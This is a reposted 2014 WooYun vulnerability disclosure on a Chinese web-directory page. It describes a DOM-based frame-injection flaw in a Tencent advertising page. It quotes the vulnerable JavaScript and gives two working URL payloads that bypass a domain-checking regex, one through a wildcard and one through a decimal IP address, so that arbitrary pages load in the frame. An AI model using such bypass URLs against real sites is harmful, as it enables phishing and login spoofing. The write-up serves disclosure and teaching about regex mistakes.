网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

[公开漏洞]腾讯某界面DOM型跨站(那些容易误用的正则表达式)

来源:WooYun 浏览:919次 时间:2014-07-18
简介:腾讯某界面DOM型跨站(那些容易误用的正则表达式) 相关厂商: 腾讯漏洞作者:香草 提交时间:2014-06-03 11:24 公开时间:2014-07-18 11:24 漏洞类型:xss跨站脚本攻击危害等级:低 自评Rank:5 漏洞状

腾讯某界面DOM型跨站(那些容易误用的正则表达式) 相关厂商: 腾讯 漏洞作者:香草 提交时间:2014-06-03 11:24 公开时间:2014-07-18 11:24 漏洞类型:xss跨站脚本攻击 危害等级:低 自评Rank:5 漏洞状态: 厂商已经确认 漏洞来源:http://www.wooyun.org Tags标签: xss技巧 Dom+xss 正则表达式 漏洞详情 披露状态:

2014-06-03:细节已通知厂商并且等待厂商处理中
2014-06-03:厂商已经确认,细节仅向厂商公开
2014-06-13:细节向核心白帽子及相关领域专家公开
2014-06-23:细节向普通白帽子公开
2014-07-03:细节向实习白帽子公开
2014-07-18:细节向公众公开

简要描述:

我在看QQ空间的时候看到了一个广告,于是我随手打开看看,由于我习惯型的右键审查元素,于是有了下面的故事……
限制域名的正则表达式缺陷,导致我两次绕过限制,加载任意框架,可欺骗登陆。危害不大,就当补习下正则表达式吧

详细说明:

这是腾讯的广告界面,也就是http://etg.qq.com/ 腾讯易推广

存在缺陷的链接是:

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http%3A%2F%2Fa.paipai.com%2f%26size%3D1024x768%26time%3D0



这是第一次的代码

var fu=$xss(decodeURIComponent($getQuery('fu')),'script'),
content=document.getElementById('content');

if(fu.search(/^http\:\/\/.*\.paipai.com($|(\/[^<>\'\"]*))/) > -1){
var uin=$getUin(),
sizes=$getQuery('size',fu).split('x');
if(sizes&&sizes.length==2){
content.style.width=sizes[0]+'px';
content.style.height=sizes[1]+'px';
}
content.src=fu+(uin ? (fu.indexOf('?')>0 ? '&uin=':'?uin=')+uin :'');
}else{
content.src='http://www.paipai.com';
}

function $getUin(){
var uin=$getCookie("uin")||$getCookie('uin_cookie')||$getCookie('pt2gguin')
||$getCookie('o_cookie')||$getCookie('luin')||$getCookie('buy_uin');
return uin?parseInt(uin.replace("o",""),10):"";
}

function $getQuery(name,url){
var u = arguments[1] || window.location.search,
reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)"),
r = u.substr(u.indexOf("\?")+1).match(reg);
return r!=null?r[2]:"";
}
function $getCookie(name) {
var reg = new RegExp("(^| )" + name + "(?:=([^;]*))?(;|$)"), val = document.cookie.match(reg);
return val ? (val[2] ? unescape(val[2]) : "") : null;
}
function $xss(str,type){
//空过滤
if(!str){
return str===0 ? "0" : "";
}
switch(type){
case "script":
return str.replace(/[\\"']/g, function(r){
return "\\" + r;
}).replace(/%/g, "\\x25").replace(/\n/g, "\\n").replace(/\r/g, "\\r").replace(/\x01/g, "\\x01");
break;
}
}



存在问题的是这个正则表达式:

fu.search(/^http\:\/\/.*\.paipai.com($|(\/[^<>\'\"]*))/)



开发人员的本意是想要匹配所有的paipai.com的子域,这个正则限制了开头也限制了结尾,本来是很严密的。可是他显然没有注意到.*是可以匹配任意字符的,于是我们可以构造如下链接进行绕过:

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http%3A%2F%2Fwww.baidu.com%2F%3Fa%3D.paipai.com%2f%26size%3D264x160%26time%3D0
//解码后就是
http://etg.qq.com/billboard/minsite/etg.shtml?fu=http://www.baidu.com/?a=.paipai.com/&size=264x160&time=0



可能开发人员也发现了这个问题,正则确实不能这样写,于是几天后这个正则变成了现在这样:

fu.search(/^http\:\/\/[^.]*\.paipai.com($|(\/[^<>\'\"]*))/)



开发人员也觉得匹配.*不妥,于是换成在前面不能出现点号,那么他想,你可能就不能加载其他框架了嘛,因为 baidu.com是需要点的嘛,至少都需要一个点,如果没有点,那肯定就不能是合法的域名了。这个当然是开发人员自己想的,但是他可能忘了,还有个东西叫IP10进制表示法。就是说,http://1032300905/ 也是可以指向http://www.baidu.com/

于是可以构造如下链接绕过限制:

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http%3A%2F%2F1032300905%2F%3Fa%3D.paipai.com%2f%26size%3D1024x768%26time%3D0
//解码后就是,没有出现点号
http://etg.qq.com/billboard/minsite/etg.shtml?fu=http://1032300905/?a=.paipai.com/&size=1024x768&time=0



总结:DOM型跨站,正则表达是第一个要注意的东西,因为这则表达式确实有很多容易误用的地方。

漏洞证明:

加载百度

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http%3A%2F%2F1032300905%2F%3Fa%3D.paipai.com%2f%26size%3D1024x768%26time%3D0



etg.jpg

修复方案:

修改正则表达式

版权声明:转载请注明来源 香草@乌云

漏洞回应 厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-06-03 15:47

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/2522.html

好玩的手游下载

猜你喜欢

推荐站点

  • 国厨盛宴国厨盛宴

    佛山市南海区嘉怡西餐厅(简称\"国厨盛宴\")是一家专注于珠三角地区的高端餐饮定制服务企业。在嘉怡西式餐饮为基础,整合了国力餐饮策划公司、国邦餐饮咨询公司、焰渝餐饮管理公司。于2016年3月正式更名为“广东国厨盛宴餐饮定制”, 公司出品全部来自香港、广东十年以上中西餐饮宴会实践经验丰富的业内专业星级大厨,国厨盛宴是融合了中西宴会外卖特色具一体,积累了多年的实践经验的一家公司。 国厨盛宴的餐房、现场执行及客户服务均由香港资深专业人士负责,拥有丰富的餐饮定制配餐服务管理经验及餐饮行饮服务团队,从客服、采购、厨业经营经验。 无论是大型商业活动(100-3000人)还是小型(20-100人)的私人宴请,无论您的活动是在室内、室外、办公室,还是在公园、体育场、展厅、发布中心、别墅、郊外,都能为您提供超五星级的专业餐饮服务。除了为您提供精致的外烩美食外卖,我们还可以根据您的需要,结合宴会活动的每一环节、流程,为您提供活动策划、会场布置、节目安排、花艺服务等增值服务,为您节省宝贵的时间。

    guochushengyan.com
  • 皇家馬車家纺官网皇家馬車家纺官网

    馬車源自华夏千年礼制,始于“天子驾六”的皇家威仪。馬车,是帝王仪仗,是身份象征,更是东方尊贵生活的传承载体。皇家馬车家纺,承中式皇家礼序,融东方典雅美学,以匠心织就尊贵、舒适、荣耀的中式睡眠美学,让每一户人家,皆藏皇家气度。 皇家馬车家纺品牌源之于承华夏皇家礼序,筑东方品质寝饰。自古以来皇家馬车无论从欧洲皇室到我们中国的华夏文明,车马为礼;皇家馬车,自古便是帝王专属仪仗,象征至高无上的身份、威仪与尊贵。自周代“天子驾六”定礼制,秦汉“金根车”彰皇权,唐宋“大辇”显威仪,明清“銮驾”集大成,皇家馬车,早已沉淀为东方文化中尊贵、典雅、荣耀、传承的核心符号。 皇家馬车家纺,根植中国千年皇家车马文化,1992年源自福建台资企业,已深耕中高端家纺34载。品牌以“传承中式皇家礼序,打造国人轻奢寝居”为初心,将皇家馬车所代表的礼制、尊贵、精工、传承,融入每一件床品的设计与织造。 品牌自创立以来,始终坚守品质为本,引进台湾先进纺织工艺与生产管理体系,严选优质长绒棉、桑蚕丝、天然纤维等高端原材料,全程标准化品控,面料细腻亲肤、健康环保。先后荣获2000年、2012年福建省著名商标荣誉称号,2006获ISO9001:2000质量管理体系认证企业,为产品的品质奠定了坚实基础。凭借过硬品质与深厚品牌底蕴,深受广大消费者信赖与认可,高峰时期全国17个省市均有 皇家馬車专卖店。 2025年由福州东盈家居科技有限公司全面接手操盘运营,焕新升级,生产基地从福建迁移到江苏南通家纺产业核心区,配备行业前沿设备。重塑品牌发展战略,打通线上线下全域渠道。线下设立福州晋安区喜盈门旗舰店,全国门店持续布局扩张。皇家馬车家纺秉持匠心初心,坚持高端品质、亲民定价,让万千家庭,都能用上高品质,皇室级的寝饰,享受舒适精致睡眠生活。 我们萃取中式皇家美学元素——龙凤呈祥、祥云瑞气、织金刺绣、典雅纹样,结合现代家纺工艺,严选高支长绒棉、桑蚕丝等高端原料,以台资精工标准,打造兼具东方贵气与现代舒适的中高端家纺。 从“福建省著名商标”到“家纺行业十大品牌”,皇家馬车家纺始终坚守“高贵不贵,匠心传承”,让千年皇家礼制,化作日常居家的尊贵体验;让每一户中国家庭,都能拥有属于自己的东方皇家睡眠礼遇。

    huangjiamache.mhwz.cn
  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com

最新优秀网站